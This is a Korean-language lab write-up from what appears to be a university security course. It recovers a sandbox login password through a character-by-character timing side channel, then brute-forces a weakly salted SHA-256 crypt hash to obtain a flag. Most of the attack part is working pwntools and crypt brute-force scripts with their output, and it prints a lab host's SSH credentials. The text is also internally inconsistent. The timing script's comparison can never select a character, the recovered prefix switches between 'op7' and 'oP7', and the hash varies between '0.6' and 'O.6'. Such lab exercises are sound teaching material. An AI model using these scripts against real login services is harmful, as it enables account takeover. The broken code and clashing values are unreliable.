

Lab 04

1. Logging in as ubuntu

디컴파일된 패스워드 체크 로직은 다음과 같다.

```

__BOOL8 __fastcall check_password(int a1)
{
    char v2; // [rsp+1Bh] [rbp-15h]
    int i; // [rsp+1Ch] [rbp-14h]
    int v4; // [rsp+20h] [rbp-10h]
    int v5; // [rsp+24h] [rbp-Ch]
    int v6; // [rsp+28h] [rbp-8h]
    int v7; // [rsp+2Ch] [rbp-4h]

    if ( a1 )
    {
        if ( a1 > 11 )
        {
            if ( a1 <= 32 )
            {
                v7 = 0;
                v6 = 0;
                v5 = 0;
                v4 = 0;
                for ( i = 0; i < a1; ++i )
                {
                    v2 = input[i];
                    if ( v2 <= 96 || v2 > 122 )
                    {
                        if ( v2 <= 64 || v2 > 90 )
                        {
                            if ( v2 <= 47 || v2 > 57 )
                            {
                                if ( v2 != 33
                                    && v2 != 64
                                    && v2 != 35
                                    && v2 != 36
                                    && v2 != 37
                                    && v2 != 94
                                    && v2 != 38
                                    && v2 != 42
                                    && v2 != 40
                                    && v2 != 41
                                    && v2 != 45
                                    && v2 != 95
                                )
                                {
                                    return 0;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

```

```

        && v2 != 43
        && v2 != 61
        && v2 != 123
        && v2 != 125
        && v2 != 91
        && v2 != 93
        && v2 != 63
        && v2 != 60
        && v2 != 62
        && v2 != 126
        && v2 != 46
        && v2 != 44 )
    {
        printf("[ - ] invalid character: %c\n", (unsigned int)v2);
        return 1LL;
    }
    v4 = 1;
}
else
{
    v5 = 1;
}
}
else
{
    v6 = 1;
}
}
else
{
    v7 = 1;
}
}
if ( !v7 )
    puts("[ - ] Must include a lowercase letter");
if ( !v6 )
    puts("[ - ] Must include a uppercase letter");
if ( !v5 )
    puts("[ - ] Must include a digit: 0-9");
if ( !v4 )
    printf("[ - ] Must include a special char: !@#$%^&*()-_+={}[]<>?~,.\n");
return v4 * v5 * v6 * v7 != 1;
}
else
{
    puts("[ - ] password is too long");
    return 1LL;
}
}
else

```

```

{
    puts("[~] password is too short");
    return 1LL;
}
}
else
{
    puts("[~] a password is required");
    return 1LL;
}
}

```

코드를 분석해보면, password의 길이가 12 ~ 32 사이의 값이어야 하고, 숫자, 소문자 알파벳, 대문자 알파벳과 특수문자를 포함해서 만들어야 한다.

```

csed415-lab04@csed415:~$ nc localhost 10004
Ubuntu 22.04 ubuntu tty1
ubuntu login: f
Incorrect password!

csed415-lab04@csed415:~$ █

```

```

csed415-lab04@csed415:~$ nc localhost 10004
Ubuntu 22.04 ubuntu tty1
ubuntu login: F
█

```

localhost에 접속해 여러 문자를 입력하다보면, 잘못된 문자를 입력하면 `Incorrect password!`를 출력하고, 특정한 문자에서는 `Incorrect password!`라는 입력을 출력하지 않고, 다음 문자의 입력을 기다리는 것을 볼 수 있다. 이는 문자를 1개씩 비교해서 ubuntu의 password와 같은지 확인하는 로직으로 볼 수 있다.

이는 사용자에게 password 문자를 하나씩 복구할 수 있게 하는 취약점이며, brute-force 공격을 통해 간단하게 공격할 수 있다. 이를 이용해 side channel attack을 수행할 수 있다.

```

from pwn import *
import time
import statistics

context.log_level = True

REMOTE_HOST = '141.223.181.16'
REMOTE_USER = 'csed415-lab04'
REMOTE_PORT = 7022
SSH_PASSWORD = '2979cfed'

HOST = 'localhost'
PORT = 10004
USERNAME = 'ubuntu'

```

```
TRIALS = 1          # 한 문자를 측정할 때 반복 횟수
MAX_LEN = 32        # 최대 비밀번호 길이
```

```
CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_+={}["
```

```
def measure_attempt(prefix: str) -> float:
    durations = []
    for _ in range(TRIALS):
        try:
            conn = remote(HOST, PORT)
        except:
            return 20
        # login prompt
        # conn.recvuntil(b'login:')
        start = time.perf_counter()
        conn.sendline(prefix.encode())

        try:
            conn.recvuntil(b'Incorrect password!', timeout=20)
        except:
            conn.close()
            return 20
        end = time.perf_counter()

        durations.append(end - start)
        conn.close()

    # 통계적으로 노이즈 제거
    return statistics.mean(durations)

def recover_password():
    recovered = ''
    for pos in range(MAX_LEN):
        tmp_time_set = dict()
        best_char = None
        best_time = -1.0

        # 각 문자 시도하여 응답 시간 측정
        for c in CHARS:
            guess = recovered + c
            t = measure_attempt(guess)
            tmp_time_set[c] = t
            if t < best_time:
                best_time = t
                best_char = c

        recovered += best_char
    print(f"[{pos+1:02d}] Found: '{best_char}' (avg {best_time:.6f}s)")
```

```

print(tmp_time_set)

print("Recovered password:", recovered)

if __name__ == '__main__':
    recover_password()

```

다음과 같은 코드로 일정 시간이 지난 후, ubuntu의 password를 알아낼 수 있다. password를 찾아내도 멈추는 로직은 만들지 않아, 약간의 수동으로 조작이 필요하다.

ubuntu의 password는 `F0r7uNe_f4V0r5_the_|3R4veJ` 인 것을 알아낼 수 있었다

2. dave 's password

```

csed415-lab04@csed415:~$ nc localhost 10004
Ubuntu 22.04 ubuntu tty1
ubuntu login: F0r7uNe_f4V0r5_the_|3R4veJ
Login success

+-----+
| Ubuntu Sandboxed Mode |
+-----+
| Select command #:      |
| 1. cat /etc/shadow     |
| 2. cat ./atk.note      |
| 3. /bin/pwdmgr         |
| 4. Log in as dave      |
+-----+
(1-4) >>> 4

```

로그인에 성공하면 다음과 같은 화면이 뜬다.

```

1. I could leak the password entry of dave from `/etc/shadow`:
- dave:$5$RByrWzKkQroXD$jgzSfKmMS/0.6pP0TEIZitkB.gUSqEy5s1vLoklivU5
- This is a good place to get started with cracking his password!
- But without additional information, brute-forcing would take too much time :(

2. I think I need to reverse-engineer /bin/pwdmgr, for more insight into his password.
- Dave seems to have generated his password using the pwdmgr program.
- I have copied the pwdmgr binary into /home/csed415-lab04/
- gen_strong_pwd function seems to be relevant.. it relies on openssl
  to generate a salted hash of a password. But why does it NOT hash the
  user-provided password directly? Very weird.. Let's reverse-engineer this function.

```

2번을 눌러서 정보를 확인해보면, dave 는 `pwdmgr` 로 만들어진

`5RByrWzKkQroXD$jgzSfKmMS/0.6pP0TEIZitkB.gUSqEy5s1vLoklivU5` 해시값을 가지고 있다. 이 해시값이

어떻게 `pwdmgr` 에서 만들어졌는지, reverse engineering을 통해 확인해보자.

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     unsigned int password; // [rsp+8h] [rbp-8h]
4
5     setvbuf(stdout, 0LL, 2, 0LL);
6     setvbuf(stdin, 0LL, 2, 0LL);
7     puts("pwdmgr: Secure Password Generator & Manager\nProvide your password and pwdmgr will make it stronger.");
8     password = get_password();
9     if ( (unsigned int)check_password(password) == 1 )
10        exit(1);
11    gen_strong_pwd();
12    return 0;
13 }
```

위에서 언급했듯이, 해시값은 `gen_strong_pwd()` 함수에서 생성된다. 이를 분석해보자.

```
1 int gen_strong_pwd()
2 {
3     size_t v0; // rax
4     char command[64]; // [rsp+0h] [rbp-70h] BYREF
5     char dest[3]; // [rsp+40h] [rbp-30h] BYREF
6     char v4[37]; // [rsp+43h] [rbp-2Dh] BYREF
7     char *s; // [rsp+68h] [rbp-8h]
8
9     s = getlogin();
10    strncpy(dest, &input, 3uLL);
11    v0 = strlen(s);
12    strncpy(v4, s, v0);
13    dest[strlen(s) + 3] = 0;
14    snprintf(command, 0x40uLL, "openssl passwd -5 %s", dest);
15    return system(command);
16 }
```

코드를 보면, `getlogin()` 을 통해 사용자의 이름 (입력한 값이 아님)을 가져오고, 입력값인 `input`의 3바이트를 가져와 이를 합친 다음에 해시를 계산해서 내보낸다.

우리가 아무리 길고 어려운 정보를 입력하더라도 3바이트의 정보만 담기기 때문에, brute-force를 통해 공격 가능할만한 크기임을 확인할 수 있다.

우리는 이 파일을 사용하는 유저의 이름이 `dave` 인 것을 알고 있고, 3바이트를 더하고 있으므로, `dave` 앞에 붙는 3바이트를 알아내면 `dave`의 password와 같은 해시값을 가지는 password를 알아낼 수 있다. 즉, (3bytes) + `dave` 를 brute-force를 통해 알아내면 복구할 수 있다.

아래와 같은 코드로 브루트 포스를 수행했다.

```
import crypt
from itertools import product

s = "dave"
prefix = ""
salt = "RByrWzKkQroXD"
```

```
hashed ="jgzSfKmMS/0.6pP0TEIZitkB.gUSqEy5s1vLoklivU5"
```

```
CRYPT_SALT = f"$5${salt}$"
```

```
CHARS = ''.join(chr(c) for c in range(0x20, 0x7F))
```

```
def brute_force():
```

```
    for c1, c2, c3 in product(CHARS, repeat=3):
```

```
        prefix = f"{c1}{c2}{c3}"
```

```
        pwd = prefix + s
```

```
        full = crypt.crypt(pwd, CRYPT_SALT)      # '$5$salt$hash'
```

```
        print(full)
```

```
        if full.endswith(hashed):
```

```
            return prefix, full
```

```
    return None
```

```
if __name__ == "__main__":
```

```
    res = brute_force()
```

```
    if res:
```

```
        prefix, full_hash = res
```

```
        # 제어 문자·널 바이트 확인용 이스케이프 표현
```

```
        print("FOUND !")
```

```
        print("prefix (raw bytes):", prefix.encode('latin-1'))
```

```
        print("prefix (repr)      :", repr(prefix))
```

```
        print("full hash         :", full_hash)
```

```
    else:
```

```
        print("Not found.")
```

```
jjong22@jjong: ~/POSTECH/C × cjong22@jjong: ~/POSTECH/C × csed415-lab04@csed415: ~ × + v
$5$RByrWzKkQroXD$/l676GQ6Sww9S.xCUVQ.KrVCHzqNUvzcPutAR3QnCz1
$5$RByrWzKkQroXD$JC1zCF5/dJMuRStblWCZBvr3SolSocuddBPK/SdyS8D
$5$RByrWzKkQroXD$fLtDUrwrXVOHGj..CHJs6AkAvQYiNHdEYfnIXrDQya7
$5$RByrWzKkQroXD$Eo4/TIo.iaAJ0JsN7l2VrQaQ80CJsFetQNf035n2qR9
$5$RByrWzKkQroXD$cNDS5rJ1Wxkey/F.qeVmGkjZ8gJ.Om/6B1n6k5rLeZ/
$5$RByrWzKkQroXD$aWeMnG.6JyiDVuNsmoFPCA34l2utydgIIX3hvWyYBSD
$5$RByrWzKkQroXD$LkwLRgqBmKsEaRj0kAvGMvXErE3Nc9bZT3vFY294l.6
$5$RByrWzKkQroXD$M020AkIbMR013YnT7FvNpyGsUxrSH0fiY4m49n6aWX1
$5$RByrWzKkQroXD$FHsk4Qsy21C/MMEBnkESNfffkGG9G/FSEZncYXclFZB
$5$RByrWzKkQroXD$2DHsTLN4EBj/PmK90i2AhjrrDPWKdBnZ4407E7FW1y9
$5$RByrWzKkQroXD$2.BFEElLh0NlvzfODWzfAisf6aTYLp4L4sxrrgbMN19
$5$RByrWzKkQroXD$CBh5JP/nzThU2sSXPjB7J9yiaUQDo3WazyLKjeemL04
$5$RByrWzKkQroXD$DhZcgMynKqWQnIdHu0upiMi3GazFctkYKywphsXFN73
$5$RByrWzKkQroXD$SV09m2lKDezHEJYpDfJhBLMIAY1kBbcHbaJJuZszy1C
$5$RByrWzKkQroXD$r9JHkFMjF55ZbP4BEMbSF5YEcCQAsGc.9uAaw/Zh7bD
$5$RByrWzKkQroXD$0AzA2910kxhDBS2Tit6r/Tz08mW70kVyPSyVogU0nK3
$5$RByrWzKkQroXD$YMjo59.mW4RrvowAH44WZGUzE2VStaOX4TD/zk0UIWD
$5$RByrWzKkQroXD$toRtWonBHBw4iubuh7ZxzQcMBIfgZD8rEaD0rowYTb7
$5$RByrWzKkQroXD$7P63ny93LH0nl0uzMAjj7vzx15an.MMJNBqUpu/AUn1
$5$RByrWzKkQroXD$B9FFI/qdDnsH1hi79hU4nHfcpWayy3Nfbyg8hCofIO2
$5$RByrWzKkQroXD$HzeL189tv6gvez4CszjEABHIw7PU5kHDESdJnLlTSR9
$5$RByrWzKkQroXD$f2CkGTCnJYmNc5.vI734f2fTC5wWaph858eK5xDiS5
$5$RByrWzKkQroXD$ALqDh5Xb3hwocy4P8anLIYGg3M0T1rsrgbaA8uW7nD0
$5$RByrWzKkQroXD$S3HobBVqztC/Ko.XqAgcaML7AQcxz1VWmc619EslnD6
$5$RByrWzKkQroXD$jgzSfKmMS/O.6pP0TEIZitkB.gUSqEy5s1vLoklivU5
FOUND !
prefix (raw bytes): b'op7'
prefix (repr)      : 'op7'
full hash          : $5$RByrWzKkQroXD$jgzSfKmMS/O.6pP0TEIZitkB.gUSqEy5s1vLoklivU5
jjong22@jjong: ~/POSTECH/CSed415/lab04$
```

조금의 시간이 경과한 후, 동일한 해시값을 찾을 수 있었다. 이를 통해 `dave` 앞에 `op7` 을 붙여서 `op7dave` 로 로그인을 시도하면 flag를 얻을 수 있다.


```
csed415-lab04@csed415:~$ nc localhost 10004
```

```
Ubuntu 22.04 ubuntu tty1
```

```
ubuntu login: F0r7uNe_f4V0r5_the_|3R4veJ
```

```
Login success
```

```
+-----+
```

```
| Ubuntu Sandboxed Mode |
```

```
+-----+
```

```
| Select command #: |
```

```
| 1. cat /etc/shadow |
```

```
| 2. cat ./atk.note |
```

```
| 3. /bin/pwdmgr |
```

```
| 4. Log in as dave |
```

```
+-----+
```

```
(1-4) >>> 4
```

```
ubuntu@sandbox:~$ sudo su dave
```

```
[sudo] password for dave: oP7dave
```

```
Great! Here is your flag
```

```
944583A6CFFB89C892AEABE82B57E2788321659E91A52EF67EA3EC29DB40BFEA
```